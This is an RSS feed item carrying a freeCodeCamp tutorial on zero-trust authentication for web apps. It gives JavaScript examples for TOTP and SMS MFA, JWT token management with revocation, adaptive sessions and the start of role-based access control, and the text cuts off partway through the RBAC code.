<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ #cybersecurity - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ #cybersecurity - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Mon, 25 May 2026 10:49:35 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/cybersecurity-1/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ How to Implement Zero-Trust Authentication in Your Web Apps ]]>
                </title>
                <description>
                    <![CDATA[ Your biggest security problem might be inside your own network. Hackers don't break in anymore - they just log in with stolen passwords. Old security systems trusted anyone who got inside the network. But now there's no clear "inside" or "outside." P... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-implement-zero-trust-authentication-in-your-web-apps/</link>
                <guid isPermaLink="false">6893afcc4ff769448b46934a</guid>
                
                    <category>
                        <![CDATA[ zerotrust ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ software development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ authentication ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Tope Fasasi ]]>
                </dc:creator>
                <pubDate>Wed, 06 Aug 2025 19:41:00 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754503273007/1b04e262-05de-4fac-be47-56c01eb44446.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Your biggest security problem might be inside your own network. Hackers don't break in anymore - they just log in with stolen passwords. Old security systems trusted anyone who got inside the network. But now there's no clear "inside" or "outside." People work from home, use cloud services, and fall for fake emails. Attackers can pretend to be real users for weeks without being caught.</p>
<p>Zero-Trust Authentication fixes this. Instead of trusting people once they log in, it checks every person, every device, and every request, every single time. The rule is simple: "Trust no one, verify everything."</p>
<p>This isn't just theory – it works. Companies using zero-trust security have smaller breaches, meet compliance rules easier, and control who sees what data. This matters because <a target="_blank" href="https://www.securityweek.com/cost-of-data-breach-in-2024-4-88-million-says-latest-ibm-study/">95% of data breaches happen due to human mistakes, and the average breach now costs $4.88 million</a>.</p>
<p>In this article, you will learn how to build a complete Zero-Trust Authentication system into your web app step by step. From multi-factor authentication (MFA) to behavioral anomaly detection, we will discuss the architecture decisions, code examples, and some real-world approaches you are likely able to implement right away.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-prerequisites">Prerequisites</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-what-is-zero-trust-authentication">What Is Zero-Trust Authentication?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-architecture-overview">Architecture Overview</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-multi-factor-authentication-mfa">Multi-factor Authentication (MFA)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-jwt-token-management">JWT Token Management</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-session-security">Session Security</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-role-based-access-control-rbac">Role-Based Access Control (RBAC)</a></p>
<ul>
<li><p><a class="post-section-overview" href="#heading-using-middleware-to-enforce-rbac">Using Middleware to Enforce RBAC</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-testing-access-control-logic">Testing Access Control Logic</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-continuous-verification">Continuous Verification</a></p>
<ul>
<li><p><a class="post-section-overview" href="#heading-behavioral-analysis">Behavioral Analysis</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-step-up-authentication">Step-Up Authentication</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-security-monitoring">Security Monitoring</a></p>
<ul>
<li><a class="post-section-overview" href="#heading-automating-threat-response">Automating Threat Response</a></li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>Before implementing zero-trust, make sure your stack aligns with frequent calls for token checks, volumes of logging, and the additional auth step, all without impairing system performance on the users' end.</p>
<p>You should at least have knowledge of:</p>
<ul>
<li><p>JWT and secure session handling</p>
</li>
<li><p>MFA, specifically understanding TOTP</p>
</li>
<li><p>Basic understanding of middleware design</p>
</li>
</ul>
<p>Audit your system: examine login flows, token handling, protected routes, session termination, and identify weak spots like long sessions or unprotected routes.</p>
<h2 id="heading-what-is-zero-trust-authentication">What Is Zero-Trust Authentication?</h2>
<p><a target="_blank" href="https://www.civilsdaily.com/news/what-is-zero-trust-authentication-zta/">Zero-Trust Authentication</a> (ZTA) redefines how access is granted in contemporary applications. It doesn't take network location or a single login event into account – it demands the continuous validation of an identity, context, and intent.</p>
<p>Whereas perimeter-based models consider anyone inside a network "safe," zero-trust presumes every request can be compromised. This means that access decisions are made in real time over verified identity, device posture, and behavioral signals. In short, it’s a "security-first" approach designed for a cloud-native, threat-aware world.</p>
<h2 id="heading-architecture-overview">Architecture Overview</h2>
<p>Building a ZTA system means checking everyone and everything, all the time. The architecture you can see below demonstrates this "never trust, always verify" approach in action:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752183554393/4cfda450-14d8-49e3-944b-a0e4654a3dcc.png" alt="Zero Trust Security architecture diagram showing trust boundary encompassing internal network components, with external cloud services and internet connections, illustrating key zero trust principles" class="image--center mx-auto" width="779" height="401" loading="lazy"></p>
<p>Image source: <a target="_blank" href="https://www.civilsdaily.com/news/what-is-zero-trust-authentication-zta/">civilsdaily</a></p>
<p>Here's how it works:</p>
<ul>
<li><p>Every request gets checked: When anyone tries to access your network (from office, home, or mobile), they hit the authentication layer first. No exceptions.</p>
</li>
<li><p>Identity + context verification: The system doesn't just check passwords. It looks at who you are, what device you're using, where you're connecting from, and what you're trying to access.</p>
</li>
<li><p>Continuous protection: Once inside, the system keeps watching. It protects your data, devices, networks, people, and workloads through constant monitoring and access controls.</p>
</li>
<li><p>The big change: Traditional security created a "trusted inside" and "untrusted outside." Zero-trust eliminates this boundary. Whether you're connecting to cloud services (AWS, Office 365) or internal systems, every request goes through the same verification process.</p>
</li>
</ul>
<h2 id="heading-multi-factor-authentication-mfa">Multi-factor Authentication (MFA)</h2>
<p><a target="_blank" href="https://support.microsoft.com/en-gb/topic/what-is-multifactor-authentication-e5e39437-121c-be60-d123-eda06bddf661">MFA</a> is the foundation of zero-trust security. It requires users to prove who they are with multiple pieces of evidence before getting access. In ZTA, even the strongest password isn't enough on its own.</p>
<p>To begin, start with a strong password, then add a second factor. For example, <a target="_blank" href="https://en.wikipedia.org/wiki/Time-based_one-time_password">Time-based One-Time Password (TOTP)</a> is the most secure. TOTP is the best second factor because it works offline and doesn't rely on SMS or email (which can be intercepted). Apps like Google Authenticator generate a new code every 30 seconds.</p>
<p>Here’s an example of what that would look like:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> speakeasy = <span class="hljs-built_in">require</span>(<span class="hljs-string">'speakeasy'</span>);
<span class="hljs-keyword">const</span> QRCode = <span class="hljs-built_in">require</span>(<span class="hljs-string">'qrcode'</span>);

<span class="hljs-comment">// Generate TOTP secret for new user</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generateTOTPSecret</span>(<span class="hljs-params">userEmail</span>) </span>{
  <span class="hljs-keyword">const</span> secret = speakeasy.generateSecret({
    <span class="hljs-attr">name</span>: userEmail,
    <span class="hljs-attr">issuer</span>: <span class="hljs-string">'YourApp'</span>,
    <span class="hljs-attr">length</span>: <span class="hljs-number">32</span>
  });

  <span class="hljs-keyword">return</span> {
    <span class="hljs-attr">secret</span>: secret.base32,
    <span class="hljs-attr">qrCodeUrl</span>: secret.otpauth_url
  };
}
</code></pre>
<p>When a new user signs up, this function creates a unique secret key just for them. The <code>name</code> is their email, <code>issuer</code> is your app name, and <code>length: 32</code> makes it extra secure. It returns two things: the secret key (in base32 format) and a special URL that creates a QR code for easy setup.</p>
<p>To verify the code from their app, you check it against the stored secret:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Verify TOTP token</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">verifyTOTP</span>(<span class="hljs-params">token, secret</span>) </span>{
  <span class="hljs-keyword">return</span> speakeasy.totp.verify({
    <span class="hljs-attr">secret</span>: secret,
    <span class="hljs-attr">token</span>: token,
    <span class="hljs-attr">window</span>: <span class="hljs-number">2</span>,
    <span class="hljs-attr">encoding</span>: <span class="hljs-string">'base32'</span>
  });
}
</code></pre>
<p>When the user enters their 6-digit code, this function checks if it's correct. The <code>window: 2</code> is smart – it allows for timing differences (like if their phone clock is slightly off). It returns true if the code is valid, false if not.</p>
<p>SMS verification can serve as a backup option. It’s less secure than TOTP but can work as a backup. Always limit how many SMS codes someone can request to prevent abuse:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// SMS verification with rate limiting</span>
<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sendSMSVerification</span>(<span class="hljs-params">phoneNumber, userId</span>) </span>{
  <span class="hljs-keyword">const</span> attempts = <span class="hljs-keyword">await</span> getRecentSMSAttempts(userId);
  <span class="hljs-keyword">if</span> (attempts &gt;= <span class="hljs-number">3</span>) {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Too many SMS attempts. Please try again later.'</span>);
  }

  <span class="hljs-keyword">const</span> code = generateRandomCode(<span class="hljs-number">6</span>);
  <span class="hljs-keyword">await</span> storeSMSCode(userId, code, <span class="hljs-number">300</span>); <span class="hljs-comment">// 5-minute expiry</span>

  <span class="hljs-keyword">await</span> smsProvider.send(phoneNumber, <span class="hljs-string">`Your verification code: <span class="hljs-subst">${code}</span>`</span>);
}
</code></pre>
<p>Before sending an SMS, it checks how many times this user has already requested codes. If they've tried 3 times, it blocks them (prevents spam/abuse). If they're under the limit, it creates a random 6-digit code, saves it for 5 minutes (300 seconds), then sends it via SMS.</p>
<p>But what happens if a user loses their phone or authenticator app? Backup codes provide emergency access:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Generate backup codes</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generateBackupCodes</span>(<span class="hljs-params">userId</span>) </span>{
  <span class="hljs-keyword">const</span> codes = [];
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">10</span>; i++) {
    codes.push(generateRandomCode(<span class="hljs-number">8</span>));
  }

  <span class="hljs-keyword">const</span> hashedCodes = codes.map(<span class="hljs-function"><span class="hljs-params">code</span> =&gt;</span> hashCode(code));
  storeBackupCodes(userId, hashedCodes);

  <span class="hljs-keyword">return</span> codes; <span class="hljs-comment">// Only show to user once</span>
}
</code></pre>
<p>This creates 10 emergency backup codes (each 8 characters long). The <code>for</code> loop runs 10 times, creating a new random code each time. Before storing them in the database, it "hashes" them (scrambles them for security). Then it returns the original codes to show the user once, but stores the scrambled versions so even if someone hacks your database, they can't see the real codes.</p>
<h2 id="heading-jwt-token-management">JWT Token Management</h2>
<p>JSON Web Tokens (JWTs) are stateless authentication in a zero-trust system. Using them safely is critical because you need to carefully think through payload design, implement short expiration policies, and implement token rotation and blocklisting that could prevent token theft, token reuse, or privilege escalation.</p>
<p>Let's walk through how to securely implement and manage JWTs in your web application.</p>
<p>First, define a minimal and secure structure for your access tokens. Only add information that’s necessary for making authorization decisions, and never put anything sensitive even if it is encrypted.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// JWT payload structure</span>
<span class="hljs-keyword">const</span> tokenPayload = {
  <span class="hljs-attr">sub</span>: userId,           <span class="hljs-comment">// Subject (user ID)</span>
  <span class="hljs-attr">email</span>: userEmail,      <span class="hljs-comment">// User identifier</span>
  <span class="hljs-attr">roles</span>: userRoles,      <span class="hljs-comment">// User roles array</span>
  <span class="hljs-attr">permissions</span>: userPermissions, <span class="hljs-comment">// Specific permissions</span>
  <span class="hljs-attr">iat</span>: <span class="hljs-built_in">Math</span>.floor(<span class="hljs-built_in">Date</span>.now() / <span class="hljs-number">1000</span>), <span class="hljs-comment">// Issued at</span>
  <span class="hljs-attr">exp</span>: <span class="hljs-built_in">Math</span>.floor(<span class="hljs-built_in">Date</span>.now() / <span class="hljs-number">1000</span>) + <span class="hljs-number">900</span>, <span class="hljs-comment">// Expires in 15 minutes</span>
  <span class="hljs-attr">jti</span>: generateUniqueId(), <span class="hljs-comment">// JWT ID for blocklisting</span>
  <span class="hljs-attr">aud</span>: <span class="hljs-string">'your-app'</span>,       <span class="hljs-comment">// Audience</span>
  <span class="hljs-attr">iss</span>: <span class="hljs-string">'your-auth-service'</span> <span class="hljs-comment">// Issuer</span>
};
</code></pre>
<p>In the code above, the payload consists of the user identity, roles, permissions, and metadata such as the issued time (<code>iat</code>), expiration (<code>exp</code>), and unique token ID (<code>jti</code>). While <code>aud</code> and <code>iss</code> describe the token's origin and audience for validation, <code>jti</code> is used for revocation. Thus, it keeps the payload as lean as possible to minimize exposure and overhead.</p>
<p>For security and usability, it’s better to use access tokens with a short lifespan and refresh tokens with a considerably longer duration, which minimizes the window for potential utilization of compromised tokens while providing a smooth user session.</p>
<p>Let's take this example:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Token generation service</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">TokenService</span> </span>{
  generateTokenPair(user) {
    <span class="hljs-keyword">const</span> accessToken = jwt.sign(
      <span class="hljs-built_in">this</span>.createAccessTokenPayload(user),
      process.env.JWT_SECRET,
      { <span class="hljs-attr">expiresIn</span>: <span class="hljs-string">'15m'</span>, <span class="hljs-attr">algorithm</span>: <span class="hljs-string">'HS256'</span> }
    );

    <span class="hljs-keyword">const</span> refreshToken = jwt.sign(
      { <span class="hljs-attr">sub</span>: user.id, <span class="hljs-attr">type</span>: <span class="hljs-string">'refresh'</span> },
      process.env.REFRESH_SECRET,
      { <span class="hljs-attr">expiresIn</span>: <span class="hljs-string">'7d'</span>, <span class="hljs-attr">algorithm</span>: <span class="hljs-string">'HS256'</span> }
    );

    <span class="hljs-keyword">return</span> { accessToken, refreshToken };
  }

  <span class="hljs-keyword">async</span> refreshAccessToken(refreshToken) {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">const</span> decoded = jwt.verify(refreshToken, process.env.REFRESH_SECRET);

      <span class="hljs-comment">// Check if refresh token is blocklisted</span>
      <span class="hljs-keyword">if</span> (<span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.isTokenBlocklisted(decoded.jti)) {
        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Token has been revoked'</span>);
      }

      <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> getUserById(decoded.sub);
      <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.generateTokenPair(user);
    } <span class="hljs-keyword">catch</span> (error) {
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Invalid refresh token'</span>);
    }
  }
}
</code></pre>
<p><code>generateTokenPair</code> will generate two signed JWTs – that is, an access token with a 15-minute expiration and a refresh token with a validity of 7 days. The refresh tokens are verified to grant new ones and are checked against a blocklist. This ensures that revoked tokens can’t be reused, even if they’re still technically valid.</p>
<p>If you choose, a sliding session can be implemented to reduce friction by renewing tokens for an active user without violating your expiration strategy.</p>
<p>Now, let's implement a <a target="_blank" href="https://stackoverflow.com/questions/48189866/sliding-session-on-web-api-request">sliding session</a> that automatically refreshes JWTs when they're close to expiring and the user is still active.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Sliding session implementation</span>
<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">extendSessionIfActive</span>(<span class="hljs-params">token</span>) </span>{
  <span class="hljs-keyword">const</span> decoded = jwt.decode(token);
  <span class="hljs-keyword">const</span> timeUntilExpiry = decoded.exp - <span class="hljs-built_in">Math</span>.floor(<span class="hljs-built_in">Date</span>.now() / <span class="hljs-number">1000</span>);

  <span class="hljs-comment">// If token expires within 5 minutes and user is active, refresh</span>
  <span class="hljs-keyword">if</span> (timeUntilExpiry &lt; <span class="hljs-number">300</span> &amp;&amp; <span class="hljs-keyword">await</span> isUserActive(decoded.sub)) {
    <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> getUserById(decoded.sub);
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.generateTokenPair(user);
  }

  <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>;
}
</code></pre>
<p>The above function checks for token expiration. If the token expires within 5 minutes and the user continues to interact, a new access token pair is issued. This way, the session is kept alive during real activity but still forces expiration for idle users.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Token blocklist service</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">TokenBlocklistService</span> </span>{
  <span class="hljs-keyword">async</span> blocklistToken(token) {
    <span class="hljs-keyword">const</span> decoded = jwt.decode(token);
    <span class="hljs-keyword">const</span> expiresAt = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>(decoded.exp * <span class="hljs-number">1000</span>);

    <span class="hljs-comment">// Store in Redis with automatic expiry</span>
    <span class="hljs-keyword">await</span> redis.setex(
      <span class="hljs-string">`blocklist:<span class="hljs-subst">${decoded.jti}</span>`</span>,
      <span class="hljs-built_in">Math</span>.max(<span class="hljs-number">0</span>, <span class="hljs-built_in">Math</span>.floor((expiresAt - <span class="hljs-built_in">Date</span>.now()) / <span class="hljs-number">1000</span>)),
      <span class="hljs-string">'revoked'</span>
    );
  }

  <span class="hljs-keyword">async</span> isTokenBlocklisted(jti) {
    <span class="hljs-keyword">const</span> result = <span class="hljs-keyword">await</span> redis.get(<span class="hljs-string">`blocklist:<span class="hljs-subst">${jti}</span>`</span>);
    <span class="hljs-keyword">return</span> result !== <span class="hljs-literal">null</span>;
  }
}
</code></pre>
<p>In the above code, when users log out or tokens are compromised, the <code>jti</code> is stored in <a target="_blank" href="https://redis.io/docs/latest/">Redis</a> with an expiration time of the remaining life of the token. You can block future uses of a token by checking if its ID exists on the blocklist. This allows for instant invalidation, even though JWTs are stateless.</p>
<h2 id="heading-session-security">Session Security</h2>
<p>In zero-trust environments, <a target="_blank" href="https://www.descope.com/learn/post/session-management">session management</a> goes far beyond keeping users logged in. A session must be treated as a constantly evaluated contract between the user, their device, and the system – and should be revoked the moment trust breaks down.</p>
<p>Here, we’ll build a session system that incorporates adaptive <a target="_blank" href="https://www.prove.com/blog/trust-score">trust scoring</a>, dynamic timeouts, real-time visibility, and <a target="_blank" href="https://www.researchgate.net/publication/354720916_Revocation_Mechanisms_for_Blockchain_Applications_A_Review">revocation mechanisms</a> – all aligned with zero-trust principles.</p>
<p>For example, when a user successfully authenticates, you don’t just store a session ID. Instead, you collect contextual metadata to evaluate ongoing risk. The function below demonstrates how to initialize a session that’s both secure and context-aware.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Comprehensive session creation</span>
<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">createSecureSession</span>(<span class="hljs-params">userId, deviceInfo, clientInfo</span>) </span>{
  <span class="hljs-keyword">const</span> sessionId = generateSecureSessionId();

  <span class="hljs-keyword">const</span> session = {
    <span class="hljs-attr">id</span>: sessionId,
    <span class="hljs-attr">userId</span>: userId,
    <span class="hljs-attr">deviceFingerprint</span>: generateDeviceFingerprint(deviceInfo),
    <span class="hljs-attr">ipAddress</span>: clientInfo.ipAddress,
    <span class="hljs-attr">userAgent</span>: clientInfo.userAgent,
    <span class="hljs-attr">location</span>: <span class="hljs-keyword">await</span> resolveLocation(clientInfo.ipAddress),
    <span class="hljs-attr">createdAt</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>(),
    <span class="hljs-attr">lastActivity</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>(),
    <span class="hljs-attr">trustScore</span>: calculateInitialTrustScore(deviceInfo, clientInfo),
    <span class="hljs-attr">securityLevel</span>: determineSecurityLevel(userId, deviceInfo)
  };

  <span class="hljs-keyword">await</span> storeSession(session);
  <span class="hljs-keyword">return</span> session;
}
</code></pre>
<p>Many other tools are tracking concerning details during session creation. The device fingerprint, IP address, geolocation, and browser agent data are collected. These metadata are used to compute a trust score, and finally, a security level is assigned to the session to be used for dynamically adjusting policies later.</p>
<p>With this contextual information captured during session creation, the system can spot suspicious behavior during the sessions and, in turn, adapt policies like re-authentication of users or termination of the session.</p>
<p>Not all sessions should be treated equally. If a user logs in via an unfamiliar device or risky location, they should have less time for their session lifespan compared to a trusted setup's time. The following implementation changes timeout periods on the basis of trust and risk factors:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Adaptive session timeout</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SessionTimeoutManager</span> </span>{
  calculateTimeoutPeriod(session) {
    <span class="hljs-keyword">const</span> baseTimeout = <span class="hljs-number">30</span> * <span class="hljs-number">60</span> * <span class="hljs-number">1000</span>; <span class="hljs-comment">// 30 minutes</span>
    <span class="hljs-keyword">const</span> trustMultiplier = session.trustScore / <span class="hljs-number">100</span>;
    <span class="hljs-keyword">const</span> securityMultiplier = <span class="hljs-built_in">this</span>.getSecurityMultiplier(session.securityLevel);

    <span class="hljs-keyword">return</span> <span class="hljs-built_in">Math</span>.max(
      <span class="hljs-number">5</span> * <span class="hljs-number">60</span> * <span class="hljs-number">1000</span>, <span class="hljs-comment">// Minimum 5 minutes</span>
      baseTimeout * trustMultiplier * securityMultiplier
    );
  }

  <span class="hljs-keyword">async</span> checkSessionValidity(sessionId) {
    <span class="hljs-keyword">const</span> session = <span class="hljs-keyword">await</span> getSession(sessionId);
    <span class="hljs-keyword">if</span> (!session) <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;

    <span class="hljs-keyword">const</span> now = <span class="hljs-built_in">Date</span>.now();
    <span class="hljs-keyword">const</span> timeout = <span class="hljs-built_in">this</span>.calculateTimeoutPeriod(session);

    <span class="hljs-comment">// Check both idle timeout and absolute timeout</span>
    <span class="hljs-keyword">const</span> idleExpired = (now - session.lastActivity) &gt; timeout;
    <span class="hljs-keyword">const</span> absoluteExpired = (now - session.createdAt) &gt; <span class="hljs-number">8</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span> * <span class="hljs-number">1000</span>; <span class="hljs-comment">// 8 hours max</span>

    <span class="hljs-keyword">return</span> !idleExpired &amp;&amp; !absoluteExpired;
  }
}
</code></pre>
<p>The above code keeps session duration adaptable to the risk context at hand. The timeout is calculated by adjusting the base value according to trust and security level, while imposing minimum and maximum bounds.</p>
<p>The system then periodically intervenes to see if the session has become invalid due to inactivity (idle timeout) or simply outlives its initial duration (absolute timeout). This provides a more flexible yet enforceable way of mitigating the risk behind stale or hijacked sessions.</p>
<p>Zero-trust should also mean visibility across all access points. The user should be able to view all active sessions associated with their account, and security systems should also allow them to control these sessions in fine-grained detail. The following code lets you manage those active sessions across devices.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Cross-device session management</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SessionManager</span> </span>{
  <span class="hljs-keyword">async</span> getUserSessions(userId) {
    <span class="hljs-keyword">const</span> sessions = <span class="hljs-keyword">await</span> getActiveSessionsForUser(userId);

    <span class="hljs-keyword">return</span> sessions.map(<span class="hljs-function"><span class="hljs-params">session</span> =&gt;</span> ({
      <span class="hljs-attr">id</span>: session.id,
      <span class="hljs-attr">deviceType</span>: <span class="hljs-built_in">this</span>.identifyDeviceType(session.userAgent),
      <span class="hljs-attr">location</span>: session.location,
      <span class="hljs-attr">lastActivity</span>: session.lastActivity,
      <span class="hljs-attr">current</span>: session.id === currentSessionId
    }));
  }

  <span class="hljs-keyword">async</span> revokeSession(sessionId, requestingSessionId) {
    <span class="hljs-keyword">const</span> session = <span class="hljs-keyword">await</span> getSession(sessionId);
    <span class="hljs-keyword">if</span> (!session) <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Session not found'</span>);

    <span class="hljs-comment">// Verify requesting session has permission</span>
    <span class="hljs-keyword">const</span> requestingSession = <span class="hljs-keyword">await</span> getSession(requestingSessionId);
    <span class="hljs-keyword">if</span> (requestingSession.userId !== session.userId) {
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Unauthorized'</span>);
    }

    <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.terminateSession(sessionId);
    <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.logSecurityEvent(<span class="hljs-string">'session_revoked'</span>, session);
  }
}
</code></pre>
<p>Here, users fetch a list of their active sessions along with identifying information such as device type and location. Any session can be securely revoked by the user who owns it, preventing unauthorized access if the session ID is compromised.</p>
<p>This also allows the user to detect suspicious activities in time. All revocations are logged for auditing purposes to enable post-incident investigations as well as compliance reports.</p>
<p>When a trust breaks due to credential theft, suspicious activity, or user-level actions such as password reset, all sessions have to be immediately revoked. This example guarantees a full revocation, promptly applied to all devices:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Real-time session revocation</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SessionRevocationService</span> </span>{
  <span class="hljs-keyword">async</span> revokeAllUserSessions(userId, reason) {
    <span class="hljs-keyword">const</span> sessions = <span class="hljs-keyword">await</span> getActiveSessionsForUser(userId);

    <span class="hljs-comment">// Blocklist all tokens for this user</span>
    <span class="hljs-keyword">await</span> <span class="hljs-built_in">Promise</span>.all(sessions.map(<span class="hljs-function"><span class="hljs-params">session</span> =&gt;</span> 
      <span class="hljs-built_in">this</span>.blocklistSessionTokens(session.id)
    ));

    <span class="hljs-comment">// Notify all active clients</span>
    <span class="hljs-keyword">await</span> <span class="hljs-built_in">Promise</span>.all(sessions.map(<span class="hljs-function"><span class="hljs-params">session</span> =&gt;</span> 
      <span class="hljs-built_in">this</span>.notifySessionTermination(session.id, reason)
    ));

    <span class="hljs-comment">// Clear session data</span>
    <span class="hljs-keyword">await</span> clearUserSessions(userId);

    <span class="hljs-comment">// Log security event</span>
    <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.logSecurityEvent(<span class="hljs-string">'all_sessions_revoked'</span>, {
      userId,
      reason,
      <span class="hljs-attr">sessionCount</span>: sessions.length
    });
  }
}
</code></pre>
<p>The above code permits full-scale revocation. It blocklists all session tokens, sends out termination notices to active clients (for example, through WebSockets), clears the session records on the server-side, and logs the event for auditing. It is an instantaneous and complete response to compromised accounts or states where user risk is very high. It is the foremost component of real-time zero-trust enforcement in any serious authentication system.</p>
<h2 id="heading-role-based-access-control-rbac">Role-Based Access Control (RBAC)</h2>
<p>Identity verification determines what users can access once they’re logged in. As the basis for any system that is aware of permissions and follows least privilege, <a target="_blank" href="https://en.wikipedia.org/wiki/Role-based_access_control">RBAC</a> doesn’t grant access on an individual basis – it groups users into roles that define the operations they are permitted to perform.</p>
<p>Before assigning roles to users, you need a structured system to define what each role can do. A set of granular permissions is first identified and then aggregated under these roles, optionally allowing inheritance and hierarchy. The code below shows how to build a basic permission system:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// RBAC permission system</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PermissionSystem</span> </span>{
  <span class="hljs-keyword">constructor</span>() {
    <span class="hljs-built_in">this</span>.permissions = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>();
    <span class="hljs-built_in">this</span>.roles = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>();
    <span class="hljs-built_in">this</span>.roleHierarchy = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>();
  }

  <span class="hljs-comment">// Define granular permissions</span>
  definePermission(name, description, resource, action) {
    <span class="hljs-built_in">this</span>.permissions.set(name, {
      name,
      description,
      resource,
      action,
      <span class="hljs-attr">createdAt</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>()
    });
  }

  <span class="hljs-comment">// Create role with inherited permissions</span>
  createRole(name, description, parentRole = <span class="hljs-literal">null</span>) {
    <span class="hljs-keyword">const</span> role = {
      name,
      description,
      <span class="hljs-attr">permissions</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(),
      <span class="hljs-attr">createdAt</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>()
    };

    <span class="hljs-comment">// Inherit permissions from parent role</span>
    <span class="hljs-keyword">if</span> (parentRole &amp;&amp; <span class="hljs-built_in">this</span>.roles.has(parentRole)) {
